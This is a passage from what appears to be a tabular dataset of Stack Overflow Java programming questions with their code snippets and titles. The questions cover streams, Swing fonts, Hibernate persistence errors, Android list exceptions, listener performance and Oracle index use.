'' , name= '' Ana '' , age=12 } { id= '' 3 '' , name= '' John '' , age=23 } { id= '' 4 '' , name= '' John '' , age=14 } { id= '' 2 '' , name= '' Ana '' , age=12 } { id= '' 3 '' , name= '' John '' , age=23 } HashSet < Object > temp = new HashSet < > ( ) ; employee.removeIf ( e- > ! temp.add ( e.getName ( ) ) ) ; { id= '' 1 '' , name= '' John '' , age=10 } { id= '' 2 '' , name= '' Ana '' , age=12 }",Remove duplicates from List < Object > based on condition +Java,"I 'm new to using streams in java , so here is my question.I have a double [ ] [ ] in which i want to perform the summation of elements , for it I 've rty following and aproach similar to C # Linq , but seems not to work.The error is that acc seems to be a double [ ] , so it ca n't perform double [ ] +double . In C # Linq the accumulator is assumed to be the same type as the seed ( 0 in this case ) . What i am missing ? Thanks in advance .","Arrays.stream ( myArray ) .reduce ( 0 , ( acc , i ) - > acc + Arrays.stream ( i ) .sum ( ) ) ;",2D Array stream reduce in java +Java,"Suppose somewhere in my code I write an empty synchronized block : So as the synchronized block does not contain any code , will JIT compiler optimize that out by not locking on obj as it will be of no use ? Java compiler does similar tricks such as Lock coarsening but will this synchronized block be also optimized out ? EDIT : As per the point made by assylias , will the JIT compiler now be able to optimize this out , since I am using an Object which does n't escape my method ?",synchronized ( obj ) { //No code here } synchronized ( new Object ( ) ) { //empty block },Are empty synchronized blocks optimized out by Java compiler ? +Java,"I am trying to achieve a button with its text having two different font family.I think , it can be achieved using HTML , as said on this page.http : //docs.oracle.com/javase/tutorial/uiswing/components/html.htmlI 've tried the following code , but it 's not working.May be the font tag attribute family is wrong !",JButton button = new JButton ( `` < html > Hello < font family=Serif > World < /font > < /html > '' ) ;,JButton text with different font family in different words +Java,"how can you emulate functional programming in java , specifically , doing things like map a function to a collection of items ? what 's the least verbose & awkward way to do it ?","map ( func , new String [ ] { `` a '' , '' b '' , '' c '' } ) ;",functional programming in Java +Java,"I have two entities AuthorizationPosition and ProductAttributes in a Wildfly EE project . The mapping between the two is the following : AuthorizationPosition : ProductAttributes : I set all the relation in both of the entities and call em.persist ( ) on ProductAttributes ( as part of a bigger structure ) this is where the strange error appears ( full stack trace at the end of the question ) : Am I missing something or Hibernate ( hibernate-core-5.3.1.Final ) is really trying to persist in an other way around ? Should not this be a problem though as CascadeType.ALL is present on all of the relation mappings ? Full stacktrace : Persistence unit properties : Edit1 : I set the relation on both of the entities . I use similar code to the following ( some parts are removed due to clarity ) : When I check it in debug , the values are set correctly .","@ javax.persistence.ManyToOne ( fetch = javax.persistence.FetchType.LAZY , optional=false , cascade = { javax.persistence.CascadeType.ALL } ) @ javax.persistence.JoinColumn ( name = `` PRODUCT_ATTRIBUTES_ID '' , referencedColumnName= '' PRODUCT_ATTRIBUTES_ID '' ) protected org.example.persistence.entity.ProductAttributes productAttributes ; @ javax.persistence.OneToMany ( targetEntity=org.example.persistence.entity.AuthorizationPosition.class , mappedBy= '' productAttributes '' , fetch=javax.persistence.FetchType.LAZY , cascade = javax.persistence.CascadeType.ALL , orphanRemoval = true ) protected java.util.Set < org.example.persistence.entity.AuthorizationPosition > authorizationPositionsByProductAttributes ; java.lang.IllegalStateException : org.hibernate.TransientPropertyValueException : Not-null property references a transient value - transient instance must be saved before current operation : org.example.persistence.entity.AuthorizationPosition.productAttributes - > org.example.persistence.entity.ProductAttributes java.lang.IllegalStateException : org.hibernate.TransientPropertyValueException : Not-null property references a transient value - transient instance must be saved before current operation : org.example.persistence.entity.AuthorizationPosition.productAttributes - > org.example.persistence.entity.ProductAttributes at org.hibernate.internal.ExceptionConverterImpl.convert ( ExceptionConverterImpl.java:146 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.ExceptionConverterImpl.convert ( ExceptionConverterImpl.java:157 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.ExceptionConverterImpl.convert ( ExceptionConverterImpl.java:164 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.SessionImpl.firePersist ( SessionImpl.java:814 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.SessionImpl.persist ( SessionImpl.java:785 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.jboss.as.jpa.container.AbstractEntityManager.persist ( AbstractEntityManager.java:580 ) [ wildfly-jpa-13.0.0.Final.jar:13.0.0.Final ] at org.example.control.ImportServoceImpl.import ( ImportServoceImpl.java:109 ) [ service-SNAPSHOT.jar : ] at org.example.rest.control.ImportContainerService.importDocument ( ImportContainerService.java:65 ) [ classes : ] at org.example.rest.control.ImportContainerService $ Proxy $ _ $ $ _WeldSubclass.importDocument $ $ super ( Unknown Source ) [ classes : ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ rt.jar:1.8.0_191 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) [ rt.jar:1.8.0_191 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) [ rt.jar:1.8.0_191 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) [ rt.jar:1.8.0_191 ] at org.jboss.weld.interceptor.proxy.TerminalAroundInvokeInvocationContext.proceedInternal ( TerminalAroundInvokeInvocationContext.java:51 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.AroundInvokeInvocationContext.proceed ( AroundInvokeInvocationContext.java:78 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.hibernate.validator.cdi.internal.interceptor.ValidationInterceptor.validateMethodInvocation ( ValidationInterceptor.java:79 ) [ hibernate-validator-cdi-6.0.10.Final.jar:6.0.10.Final ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ rt.jar:1.8.0_191 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) [ rt.jar:1.8.0_191 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) [ rt.jar:1.8.0_191 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) [ rt.jar:1.8.0_191 ] at org.jboss.weld.interceptor.reader.SimpleInterceptorInvocation $ SimpleMethodInvocation.invoke ( SimpleInterceptorInvocation.java:73 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeAroundInvoke ( InterceptorMethodHandler.java:84 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.executeInterception ( InterceptorMethodHandler.java:72 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.InterceptorMethodHandler.invoke ( InterceptorMethodHandler.java:56 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke ( CombinedInterceptorAndDecoratorStackMethodHandler.java:79 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.bean.proxy.CombinedInterceptorAndDecoratorStackMethodHandler.invoke ( CombinedInterceptorAndDecoratorStackMethodHandler.java:68 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.example.rest.control.ImportContainerService $ Proxy $ _ $ $ _WeldSubclass.importDocument ( Unknown Source ) [ classes : ] at org.example.rest.boundary.ContainerRestService.import ( ContainerRestService.java:181 ) [ classes : ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ rt.jar:1.8.0_191 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) [ rt.jar:1.8.0_191 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) [ rt.jar:1.8.0_191 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) [ rt.jar:1.8.0_191 ] at org.jboss.as.ee.component.ManagedReferenceMethodInterceptor.processInvocation ( ManagedReferenceMethodInterceptor.java:52 ) at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.invocation.InterceptorContext $ Invocation.proceed ( InterceptorContext.java:509 ) at org.jboss.as.weld.ejb.DelegatingInterceptorInvocationContext.proceed ( DelegatingInterceptorInvocationContext.java:92 ) [ wildfly-weld-ejb-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.weld.interceptor.proxy.WeldInvocationContextImpl.interceptorChainCompleted ( WeldInvocationContextImpl.java:107 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.WeldInvocationContextImpl.proceed ( WeldInvocationContextImpl.java:126 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.hibernate.validator.cdi.internal.interceptor.ValidationInterceptor.validateMethodInvocation ( ValidationInterceptor.java:79 ) [ hibernate-validator-cdi-6.0.10.Final.jar:6.0.10.Final ] at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ rt.jar:1.8.0_191 ] at sun.reflect.NativeMethodAccessorImpl.invoke ( NativeMethodAccessorImpl.java:62 ) [ rt.jar:1.8.0_191 ] at sun.reflect.DelegatingMethodAccessorImpl.invoke ( DelegatingMethodAccessorImpl.java:43 ) [ rt.jar:1.8.0_191 ] at java.lang.reflect.Method.invoke ( Method.java:498 ) [ rt.jar:1.8.0_191 ] at org.jboss.weld.interceptor.reader.SimpleInterceptorInvocation $ SimpleMethodInvocation.invoke ( SimpleInterceptorInvocation.java:73 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.WeldInvocationContextImpl.invokeNext ( WeldInvocationContextImpl.java:92 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.interceptor.proxy.WeldInvocationContextImpl.proceed ( WeldInvocationContextImpl.java:124 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.weld.bean.InterceptorImpl.intercept ( InterceptorImpl.java:105 ) [ weld-core-impl-3.0.4.Final.jar:3.0.4.Final ] at org.jboss.as.weld.ejb.DelegatingInterceptorInvocationContext.proceed ( DelegatingInterceptorInvocationContext.java:82 ) [ wildfly-weld-ejb-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.as.weld.interceptors.EjbComponentInterceptorSupport.delegateInterception ( EjbComponentInterceptorSupport.java:60 ) at org.jboss.as.weld.interceptors.Jsr299BindingsInterceptor.delegateInterception ( Jsr299BindingsInterceptor.java:76 ) at org.jboss.as.weld.interceptors.Jsr299BindingsInterceptor.doMethodInterception ( Jsr299BindingsInterceptor.java:88 ) at org.jboss.as.weld.interceptors.Jsr299BindingsInterceptor.processInvocation ( Jsr299BindingsInterceptor.java:101 ) at org.jboss.as.ee.component.interceptors.UserInterceptorFactory $ 1.processInvocation ( UserInterceptorFactory.java:63 ) at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.as.ejb3.component.invocationmetrics.ExecutionTimeInterceptor.processInvocation ( ExecutionTimeInterceptor.java:43 ) [ wildfly-ejb3-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.as.jpa.interceptor.SBInvocationInterceptor.processInvocation ( SBInvocationInterceptor.java:47 ) [ wildfly-jpa-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.as.ee.concurrent.ConcurrentContextInterceptor.processInvocation ( ConcurrentContextInterceptor.java:45 ) [ wildfly-ee-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.invocation.InitialInterceptor.processInvocation ( InitialInterceptor.java:40 ) at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.invocation.ChainedInterceptor.processInvocation ( ChainedInterceptor.java:53 ) at org.jboss.as.ee.component.interceptors.ComponentDispatcherInterceptor.processInvocation ( ComponentDispatcherInterceptor.java:52 ) at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.as.ejb3.component.pool.PooledInstanceInterceptor.processInvocation ( PooledInstanceInterceptor.java:51 ) [ wildfly-ejb3-13.0.0.Final.jar:13.0.0.Final ] at org.jboss.invocation.InterceptorContext.proceed ( InterceptorContext.java:422 ) at org.jboss.as.ejb3.tx.CMTTxInterceptor.invokeInOurTx ( CMTTxInterceptor.java:237 ) [ wildfly-ejb3-13.0.0.Final.jar:13.0.0.Final ] ... 104 moreCaused by : org.hibernate.TransientPropertyValueException : Not-null property references a transient value - transient instance must be saved before current operation : org.example.persistence.entity.AuthorizationPosition.productAttributes - > org.example.persistence.entity.ProductAttributes at org.hibernate.action.internal.UnresolvedEntityInsertActions.checkNoUnresolvedActionsAfterOperation ( UnresolvedEntityInsertActions.java:122 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.engine.spi.ActionQueue.checkNoUnresolvedActionsAfterOperation ( ActionQueue.java:436 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.SessionImpl.checkNoUnresolvedActionsAfterOperation ( SessionImpl.java:648 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] at org.hibernate.internal.SessionImpl.firePersist ( SessionImpl.java:811 ) [ hibernate-core-5.3.1.Final.jar:5.3.1.Final ] ... 168 more < properties > < property name= '' hibernate.dialect '' value= '' org.hibernate.dialect.Oracle10gDialect '' / > < property name= '' hibernate.connection.isolation '' value= '' READ_COMMITTED '' / > < property name= '' hibernate.listeners.envers.autoRegister '' value= '' false '' / > < ! -- < property name= '' hibernate.globally_quoted_identifiers '' value= '' true '' / > -- > < ! -- note : no DDL validation , because it kicks in before Liquibase gets a chance to update the schema < property name= '' hibernate.hbm2ddl.auto '' value= '' validate '' / > -- > < ! -- hibernate version integrated in Wildfly states : Legacy Hibernate behavior was to ignore the @ DiscriminatorColumn . However , as part of issue HHH-6911 we now apply the explicit @ DiscriminatorColumn . If you would prefer the legacy behavior , enable the ` hibernate.discriminator.ignore_explicit_for_joined ` setting ( hibernate.discriminator.ignore_explicit_for_joined=true ) -- > < property name= '' hibernate.discriminator.ignore_explicit_for_joined '' value= '' true '' / > < property name= '' hibernate.enhancer.enableDirtyTracking '' value= '' true '' / > < property name= '' hibernate.enhancer.enableLazyInitialization '' value= '' false '' / > < property name= '' hibernate.enhancer.enableAssociationManagement '' value= '' false '' / > < property name= '' hibernate.bytecode.use_reflection_optimizer '' value= '' true '' / > < property name= '' hibernate.show_sql '' value= '' $ { hibernate.showsql } '' / > < property name= '' hibernate.format_sql '' value= '' true '' / > < property name= '' hibernate.use_sql_comments '' value= '' true '' / > < property name= '' hibernate.cache.use_second_level_cache '' value= '' true '' / > < property name= '' hibernate.cache.use_query_cache '' value= '' true '' / > < property name= '' hibernate.cache.use_minimal_puts '' value= '' true '' / > < property name= '' hibernate.cache.use_structured_entries '' value= '' true '' / > < property name= '' hibernate.default_batch_fetch_size '' value= '' 64 '' / > < property name= '' hibernate.jdbc.batch_size '' value= '' 100 '' / > < property name= '' hibernate.jdbc.fetch_size '' value= '' 100 '' / > < property name= '' hibernate.jdbc.batch_versioned_data '' value= '' false '' / > < property name= '' hibernate.order_inserts '' value= '' true '' / > < property name= '' hibernate.order_updates '' value= '' true '' / > < property name= '' hibernate.generate_statistics '' value= '' false '' / > < property name= '' hibernate.connection.useUnicode '' value= '' true '' / > < property name= '' hibernate.connection.characterEncoding '' value= '' UTF-8 '' / > < property name= '' hibernate.jdbc.time_zone '' value= '' UTC '' / > < /properties > public void addAuthorizationPositionByProductAttributes ( @ NotNull AuthorizationPosition authorizationPositionByProductAttributes ) { if ( this.authorizationPositionsByProductAttributes.add ( authorizationPositionByProductAttributes ) ) { authorizationPositionByProductAttributes.setProductAttributes ( this ) ; } }",Hibernate fails to persist even when cascade is ALL +Java,"I am trying to display the glyph corresponding to unicode 0x95E8.This codepoint is basically of CJK block ( chinese , Japanese , Korean ) . I am struggling to know if the glyph representation of this particular codepoint can be different for Japanese and Chinese.When I am displaying this U+95E8 in a JTextArea , i am able to see `` 门 '' character on linux/windows.But when I am trying to display the same codepoint in my `` embedded device '' . the displayed character changes to.I want to know if this codepoint U+95E8 should have uniform representation in all the CJK ( Chinese , Japanese , Korean ) locales or is different for some of them . Can this kind of manifestation be because of different kind of font installed in different devices ? I am sorry for my ignorance but I am not too much into internationalization .","import java.awt . * ; import java.awt.event . * ; import java.util.Locale ; import javax.swing . * ; public class TextDemo extends JPanel implements ActionListener { public TextDemo ( ) { } public void actionPerformed ( ActionEvent evt ) { } /** * Create the GUI and show it . For thread safety , * this method should be invoked from the * event dispatch thread . * @ throws InterruptedException */ private static void createAndShowGUI ( ) throws InterruptedException { JFrame frame = new JFrame ( java.util.Locale.getDefault ( ) .getDisplayName ( ) ) ; frame.setDefaultCloseOperation ( JFrame.EXIT_ON_CLOSE ) ; Container contentPane = frame.getContentPane ( ) ; contentPane.setLayout ( new SpringLayout ( ) ) ; Dimension size = new Dimension ( 500 , 500 ) ; frame.setSize ( size ) ; JTextArea textArea = new JTextArea ( ) ; //Font font1 = new Font ( `` SansSerif '' , Font.BOLD , 20 ) ; //textArea.setFont ( font1 ) ; textArea.setEditable ( true ) ; textArea.setSize ( new Dimension ( 400,400 ) ) ; textArea.setDefaultLocale ( java.util.Locale.SIMPLIFIED_CHINESE ) ; textArea.setText ( `` Printing U+95E8 : \u95e8 '' ) ; contentPane.add ( textArea ) ; frame.setVisible ( true ) ; } public static void main ( String [ ] args ) { java.util.Locale.setDefault ( java.util.Locale.JAPANESE ) ; javax.swing.SwingUtilities.invokeLater ( new Runnable ( ) { public void run ( ) { try { createAndShowGUI ( ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } } } ) ; } }",Different representation of unicode code points in Japanese and chinese +Java,"As title says i whant to change my variables in java from my jruby codeTo be more specific i have an integer in my Java code which has no value yet , And i whant with my JRuby code give this variable an value , But i have no idea how to do this.This is how far i got with the JRuby code..But have not yet wrote anything in java . This is pretty much all I have so far..",require 'java'puts `` Set player health here '' playerHealth = 3 # Setting player health here !,change java variables from JRuby code ? +Java,"Our legacy app is stuck with a terrible framework ( okay , I 'll name names , it 's Tapestry 4 ) that involves a ridiculous number of EventListeners ( ~100,000 ) for the simplest operations . I 'm guessing this is beyond what javax.swing.event.EventListenerList was ever meant to handle , and in this unfortunate use case it 's causing us some nasty performance headaches.I spent a couple of hours whipping up the fairly naive HashMap/ArrayList-based replacement below , and it 's massively faster in almost every way : Add 50,000 listeners : EventListenerList > 2 secondsEventListenerMap ~ 3.5 millisecondsFire event to 50,000 listeners : EventListenerList 0.3-0.5 millisecondsEventListenerMap 0.4-0.5 millisecondsRemove 50,000 listeners ( one at a time ) : EventListenerList > 2 secondsEventListenerMap ~280 millisecondsFiring might be just a hair slower , but modification is enormously faster . Admittedly , the situation this framework has put us in is pathological , but it still seems like EventListenerList could have been replaced a long time ago . Obviously there are issues with the public API ( e.g. , it exposes its raw internal state array ) , but there must be more to it than that . Maybe there 's multithreaded cases where EventListenerList is much safer or more performant ?","public class EventListenerMap { private final ReadWriteLock lock = new ReentrantReadWriteLock ( ) ; private final Lock readLock = lock.readLock ( ) ; private final Lock writeLock = lock.writeLock ( ) ; private Map < Class , List > llMap = new HashMap < Class , List > ( ) ; public < L extends EventListener > void add ( Class < L > listenerClass , L listener ) { try { writeLock.lock ( ) ; List < L > list = getListenerList ( listenerClass ) ; if ( list == null ) { list = new ArrayList < L > ( ) ; llMap.put ( listenerClass , list ) ; } list.add ( listener ) ; } finally { writeLock.unlock ( ) ; } } public < L extends EventListener > void remove ( Class < L > listenerClass , L listener ) { try { writeLock.lock ( ) ; List < L > list = getListenerList ( listenerClass ) ; if ( list ! = null ) { list.remove ( listener ) ; } } finally { writeLock.unlock ( ) ; } } @ SuppressWarnings ( `` unchecked '' ) public < L extends EventListener > L [ ] getListeners ( Class < L > listenerClass ) { L [ ] copy = ( L [ ] ) Array.newInstance ( listenerClass , 0 ) ; try { readLock.lock ( ) ; List < L > list = getListenerList ( listenerClass ) ; if ( list ! = null ) { copy = ( L [ ] ) list.toArray ( copy ) ; } } finally { readLock.unlock ( ) ; } return copy ; } @ SuppressWarnings ( `` unchecked '' ) private < L extends EventListener > List < L > getListenerList ( Class < L > listenerClass ) { return ( List < L > ) llMap.get ( listenerClass ) ; } }",Why has n't EventListenerList been replaced ? ( Or : what are the pitfalls in replacing it ? ) +Java,"My setup is as follows : inside my onCreate I initialize an ArrayList as follows : and the AsyncTask fetches text via HttpURLConnection ( ) , parses the json using JsonReader , and adds each line of text to the textList ( all of this happens inside the AsyncTask 's doInBackground . I have a custom Adapter that displays the strings in textList.I also have a function gotoNextSection ( ) that gets triggered when the user wants to navigate to the next page , where I do something like : However , since I do n't want the stale text from the previous page to remain on screen , I do the following in my AsyncTask : so that the arrayList is empty and ready to be repopulated . All of this works fine in all other supported Android versions but when I tried it in a Marshmallow emulator gotoNextSection ( ) results in an IndexOutOfBoundsException . This occurs after the new content is added to the freshly cleared arrayList ( verified via logging ) , so I do n't think it 's a race condition . Note that not clearing the list prevents the exception , and since this is the only ArrayList used in the Activity I 'm positive that .clear ( ) is the problem . I 've tried nulling and reinitializing it before launching the AsyncTask as an alternative as well , to no avail . Again , this happens exclusively on Android 6.0 . Thoughts ? EDIT : Here 's the logcat stacktrace . Note that the size of index that it 's attempting to access and where in the code this occurs is irrelevant because I 've tried to log the ArrayList after the task is executed in gotoNextSection and it just gives me an exception for whatever index I 've tried to access in the log .","textList = new ArrayList < HashMap < String , String > > ( ) ; // unrelated code ... if ( isConnected ( ) ) { new DisplayTextTask ( ) .execute ( sectionId ) ; } gotoNextSection ( ) { if ( isConnected ( ) ) { new DisplayTextTask ( ) .execute ( sectionId+1 ) ; } } private class DisplayTextTask extends AsyncTask < String , Void , String > { @ Override protected void onPreExecute ( ) { super.onPreExecute ( ) ; textList.clear ( ) ; } @ Override protected String doInBackground ( String ... urls ) { // json parsing is called in getData ( ) try { return getData ( urls [ 0 ] ) ; } catch ( IOException e ) { return `` Could not load text '' ; } } java.lang.IndexOutOfBoundsException : Invalid index 0 , size is 0 at java.util.ArrayList.throwIndexOutOfBoundsException ( ArrayList.java:255 ) at java.util.ArrayList.get ( ArrayList.java:308 ) at android.widget.HeaderViewListAdapter.isEnabled ( HeaderViewListAdapter.java:164 ) at android.widget.ListView.dispatchDraw ( ListView.java:3329 ) at android.view.View.draw ( View.java:16181 ) at android.widget.AbsListView.draw ( AbsListView.java:4142 ) at android.view.View.updateDisplayListIfDirty ( View.java:15174 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ViewGroup.recreateChildDisplayList ( ViewGroup.java:3593 ) at android.view.ViewGroup.dispatchGetDisplayList ( ViewGroup.java:3573 ) at android.view.View.updateDisplayListIfDirty ( View.java:15134 ) at android.view.ThreadedRenderer.updateViewTreeDisplayList ( ThreadedRenderer.java:281 ) at android.view.ThreadedRenderer.updateRootDisplayList ( ThreadedRenderer.java:287 ) at android.view.ThreadedRenderer.draw ( ThreadedRenderer.java:322 ) at android.view.ViewRootImpl.draw ( ViewRootImpl.java:2615 ) at android.view.ViewRootImpl.performDraw ( ViewRootImpl.java:2434 ) at android.view.ViewRootImpl.performTraversals ( ViewRootImpl.java:2067 ) at android.view.ViewRootImpl.doTraversal ( ViewRootImpl.java:1107 ) at android.view.ViewRootImpl $ TraversalRunnable.run ( ViewRootImpl.java:6013 ) at android.view.Choreographer $ CallbackRecord.run ( Choreographer.java:858 ) at android.view.Choreographer.doCallbacks ( Choreographer.java:670 ) at android.view.Choreographer.doFrame ( Choreographer.java:606 ) at android.view.Choreographer $ FrameDisplayEventReceiver.run ( Choreographer.java:844 ) at android.os.Handler.handleCallback ( Handler.java:739 ) at android.os.Handler.dispatchMessage ( Handler.java:95 ) at android.os.Looper.loop ( Looper.java:148 ) at android.app.ActivityThread.main ( ActivityThread.java:5417 ) at java.lang.reflect.Method.invoke ( Native Method ) at com.android.internal.os.ZygoteInit $ MethodAndArgsCaller.run ( ZygoteInit.java:726 ) at com.android.internal.os.ZygoteInit.main ( ZygoteInit.java:616 )",IndexOutOfBoundsException after repopulating ArrayList ( Marshmallow only ) +Java,"I need to know how to partially sort an array of primitive unique integers in descending order using Stream API . For example , if there is an array like { 1,2,3,4,5 } , I want to get { 5,4,3 , 1,2 } - 3 biggest elements first and then the rest . Is it even possible using streams ? I checked the docs - there are two methods skip and limit but they change the stream content and work from the beginning of the array.I can sort the whole array likebut how to make this sorting partial ? I said Stream API because I want it to be written nicely . Also I intuitively feel that concat may have a go here . Another approach I could think about - is to use a custom comparator limiting the number of sorted elements . What do you think ? P.S . I am not a Java expert .",Arrays.stream ( arr ) .boxed ( ) .sorted ( Collections.reverseOrder ( ) ) .mapToInt ( Integer : :intValue ) .toArray ( ) ;,Partially sort an array in descending order using Java Stream API +Java,"I have this case : and I 'm trying to get the @ A2 annotation on the bound T.This is what I 'm seeing , assuming myMethod is SomeClass.class.getDeclaredMethod ( `` myMethod '' ) . Type casts removed for readability.myMethod.getGenericReturnType ( ) .getAnnotations ( ) returns @ A1 ( as expected , I guess ) myMethod.getGenericReturnType ( ) .getBounds ( ) [ 0 ] .getAnnotations ( ) returns nothing ( ? ? shoud n't it be @ A2 ? ? ) myMethod.getAnnotatedReturnType ( ) .getAnnotations ( ) returns @ A3 ( as expected , I guess ) myMethod.getAnnotatedReturnType ( ) .getAnnotatedBounds ( ) [ 0 ] .getAnnotations ( ) returns nothing ( as excepted , I guess ) It seems like @ A2 got lost ... and that does n't sound sensible . Am I doing something wrong or is this indeed some bizarre behavior ? UPDATE : It is indeed a JDK bug , which I reported and it got accepted as JDK-8191466",public class SomeClass < T > { public < @ A1 S extends @ A2 T > @ A3 S myMethod ( ) { ... } },How to get TYPE_USE annotations on a generic bound +Java,"Some colleagues came up with a problem , where they recognized slow execution times for a query and they found out that an index is not used because of a implicit type conversion.The table has an attribut kgb_uuid for storing an UUID . The column is defined as VARCHAR2 and has an index on it to search a row by the UUID.The related field in the entity is defined as String . According to the Hibernate docs Hibernate should transform this string to VARCHAR2 on Oracle databases and therefore the index should be used.But this not the case as the logs show : [ 9/2/19 11:56:07:610 CEST ] 00000177 SystemOut O 2019-09-02T11:56:07,610 TRACE [ ebContainer : 3 ] i.b.e.b.c.TraceInterceptor ; log ; ; 41 - entry method [ checkEindeutigeUUID ] in class [ MyDAO ] with params ( MyEntity @ b14745f9 ) [ 9/2/19 11:56:07:688 CEST ] 00000177 SQL Z org.hibernate.engine.jdbc.spi.SqlStatementLogger logStatement select count ( mytab0_.KGB_NR ) as col_0_0_ from MYENTITYTABLE mytab_ where mytab_.KGB_UUID= ? and mytab_.EKN_NR= ? [ 9/2/19 11:56:07:688 CEST ] 00000177 BasicBinder Z org.hibernate.type.descriptor.sql.BasicBinder bind binding parameter [ 1 ] as [ VARCHAR ] - 795BF3B98D879358E0531C03A90ABF0A [ 9/2/19 11:56:07:688 CEST ] 00000177 BasicBinder Z org.hibernate.type.descriptor.sql.BasicBinder bind binding parameter [ 2 ] as [ BIGINT ] - 1As seen the String value is bound as VARCHAR not as VARCHAR2 , resulting in an implicit type conversion by the database and not using the index , as seen in the OEM ( It 's the original German message from the OEM ) : Das Prädikat SYS_OP_C2C ( `` mytab_ '' . `` KGB_UUID '' ) = : B1 , das in Zeilen-ID 3 des Ausführungsplans benutzt wird , enthält eine Konvertierung des impliziten Datentyps auf der indexierten Spalte `` KGB_UUID '' . Diese Konvertierung des impliziten Datentyps verhindert , dass der Optimizer Indizes auf Tabelle `` MYENTITYTABLE '' effizient nutzt.It says that the predicate SYS_OP_C2C ( `` mytab_ '' . `` KGB_UUID '' ) = : B1 is used and this contains an conversation of the implicit attribute type of the indexed base column KGB_UUID and that this conversation of the implicit type prevents that the optimizer can use indizies of the table MYENTITYTABLE efficiently.We have fixed issue using a functional index on the table , but we are still wondering why Hibernate provides an data type which is obviously not VARCHAR2.System : Hibernate 4.2.21 with Hibernate Dialect Oracle10g ( which is compatible up to 12 according to docs ) Oracle 12.2 ( do n't now exactly , I think 12.2 , but maybe only 12.1 ) The Hibernate version ca n't be upgraded as it is the last version that can be used with JPA 2.0 , which is part of JavaEE 6 supported by Websphere Process Server 8.5.The ( shortend ) EntityThe DAO method","@ Entity @ Table ( name = `` MYENTITYTABLE '' ) public class MyEntity implements 